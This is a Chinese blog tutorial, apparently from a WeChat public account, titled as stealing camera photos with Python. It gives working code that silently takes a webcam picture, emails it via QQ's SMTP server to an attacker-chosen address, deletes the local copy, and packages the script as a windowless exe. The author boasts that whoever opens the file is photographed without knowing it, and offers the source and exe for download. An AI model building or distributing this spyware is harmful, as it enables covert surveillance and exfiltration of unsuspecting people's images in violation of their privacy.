查看原文
其他

python窃取摄像头照片(摄像头拍照+邮箱发送+打包exe)

李运辰 Python研究者 2022-07-01


一、思路


1.python调用摄像头拍照

python可以调用电脑的摄像头进行拍照,然后保存照片。


2.发送照片到指定邮箱

通过QQ邮箱官方网站获取授权码方法,将照片发送到指定的邮箱。最后将本地的照片删除。

3.python程序打包成exe可执行文件

借助pyinstaller库,py打包成exe,这样就可以在没有python环境的pc机上执行程序。


二、代码

1.python调用摄像头拍照

所需库

import os # 删除图片文件import cv2 # 调用摄像头拍摄照片


代码

# 调用摄像头拍摄照片def get_photo():    # 开启摄像头    cap = cv2.VideoCapture(0)               # 将摄像头中的一帧图片数据保存    f, frame = cap.read()          # 将图片保存为本地文件    cv2.imwrite('image.jpg', frame)        # 关闭摄像头    cap.release()

通过get_photo函数可以实现调用摄像头拍照,并保存照片为image.jpg

2.发送照片到指定邮箱

获取邮箱授权码


步骤一:登录邮箱->设置->账户


步骤二:找到【POP3/IMAP/SMTP/Exchange/CardDAV/CalDAV服务】,先,再点击【生成授权码】,如下图所示

步骤三:生成的结果如下:


所需库

import smtplibfrom email.mime.multipart import MIMEMultipartfrom email.mime.text import MIMETextfrom email.mime.image import MIMEImage


代码

# 把图片文件发送到我的邮箱def send():    sender = '发件人邮箱'    receivers = '收件人邮箱' message = MIMEMultipart('related') subject = '公众号:Python爬虫数据分析挖掘' message['Subject'] = subject message['From'] = sender message['To'] = receivers content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>','html','utf-8') message.attach(content)
file=open("image.jpg", "rb") img_data = file.read() file.close()
img = MIMEImage(img_data) img.add_header('Content-ID', 'imageid') message.attach(img)
try: server=smtplib.SMTP_SSL("smtp.qq.com",465) server.login(sender,"发件人的邮箱授权码") server.sendmail(sender,receivers,message.as_string()) server.quit() print ("邮件发送成功") except smtplib.SMTPException as e: print(e)


这里响应填写三部分内容:1、发件人邮箱,2、收件人邮箱,3、发件人的邮箱授权码


发送照片到邮箱之后,删除本地image.jpg

os.remove('image.jpg') #删除本地照片

3.python程序打包成exe可执行文件

所需库

pyinstaller

3.1、安装pyinstaller


###方法一pip install pyinstaller###方法二pip install -i https://pypi.doubanio.com/simple/ pyinstaller

如果觉得方法一安装慢,可以选择方法二。


3.2、打包exe程序



打开DOS窗口,输入命令:

pyinstaller -F -w *.py(星号是.py的全部路径)


pyinstaller -F -w C:\Users\Administrator\Desktop\0110\main.py



出现这个图,表示打包成功,打包好的exe文件存放在红框显示的路径中



这样我们的main.py程序就已经成功打包成exe可执行文件了。


三、效果演示

双击打开main.exe文件

程序运行后就自动退出,这样我们的邮箱就收到了照片(这个照片是当前打开这个exe文件人的真实照片)


这里就直接戴口罩去测试程序了(不好意思露面,哈哈哈)


可以看到我们的邮箱就收到了这一张图片,是不是觉得很神奇



四、结尾


以上就是python窃取摄像头照片(摄像头拍照+邮箱发送+打包exe)的全部内容,完整源码main.exe这两个文件已经上传到公众号,需要的小伙伴可以去领取。




本文完整源码获取方式

公众号回复:摄像头拍照



------------------- End -------------------
30行爬虫代码实现中英互译

分析B站《送你一朵小红花》弹幕评论

4个小时我赚了600块

加群获取学习资料

公众号回复:人群

欢迎大家点赞,留言,转发,转载,感谢大家的相伴与支持

想加入Python学习群请在后台回复【入群

万水千山总是情,点个【在看】行不行



您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存